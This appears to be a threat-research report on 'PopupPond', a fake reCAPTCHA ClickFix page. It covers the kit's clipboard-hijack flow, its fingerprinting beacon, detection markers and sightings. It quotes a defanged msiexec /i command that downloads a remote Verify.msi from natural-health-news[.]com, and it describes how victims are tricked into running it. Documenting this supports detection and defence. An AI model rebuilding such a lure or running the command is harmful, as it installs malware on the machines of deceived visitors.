PopupPond ClickFix kit

PopupPond is a fake reCAPTCHA page that copies an MSI installer command before its instruction popup appears. We have matched it on 2 sites since 4 August.

Research by Kirk

PopupPond in numbers

Since 4 August, the first PopupPond match in our records, counted on 12 November 2026. How we count.

Sites with PopupPond code	2
Sites with a match in the last 30 days	0
New sites in October	0
Still serving it when recaptured at least 25 days later	1 of 1 site (100%)

The command is copied before the instructions appear

PopupPond is a fake reCAPTCHA landing page built around a delayed popup. Its "I'm not a robot" checkbox responds to a mouse click, Enter or the space bar. The page makes a four-digit verification ID, reports the interaction, shrinks the checkbox and shows a spinner.

The HTML matched byte for byte in captures on 6 and 10 September.

After 700 milliseconds, openPopup copies the command and raises a verification window over a dimmed page. The page tries navigator.clipboard.writeText first and falls back to a temporary textarea and document.execCommand('copy').

A disabled button and a fixed command ID

The popup tells the visitor to press Win+R, paste with Ctrl+V and press Enter. Its blue Verify button keeps aria-disabled set to true; hovering over or focusing it only plays an attention animation.

The captured command has this shape:

msiexec /i "hxxps://[installer host]/Verify.msi?[verification text]

The command ends with the fixed ID 1393. The popup displays the freshly generated ID, so the two values can differ.

The click report carries browser details

logClick sends JSON to /log_recaptcha.php as soon as the checkbox is activated. It includes the ID, page and referrer, timezone, languages, platform, viewport, user agent, cookie setting and Do Not Track value. The page tries navigator.sendBeacon, then a same-origin fetch request with keepalive.

What we see

Month	New sites
September	0
October	0
November so far	0

Of the 1 site recaptured at least 25 days after their first match, 1 were still serving PopupPond.

Checking a page

Search the complete HTML response for:

checkbox-window, verification-id, verify-verify-button and backdrop together
an openPopup call delayed by 700 milliseconds
an msiexec /i clipboard value containing Verify.msi
a logClick function posting browser details to /log_recaptcha.php
a Verify button whose aria-disabled value never changes from true

Hosts its commands download from

PopupPond lure commands we captured download from 1 host.

Host	Sites	Last seen	Latest command
`natural-health-news[.]com`	2	10 September 2026	Command `msiexec /i "hxxps://natural-health-news[.]com/Verify.msi?I am not a robot — reCAPTCHA Verification ID: 1393` URL `hxxps://natural-health-news[.]com/Verify.msi?I` First seen 6 September 2026, 1 URL on this host.

The ClickFix command tracker lists every host.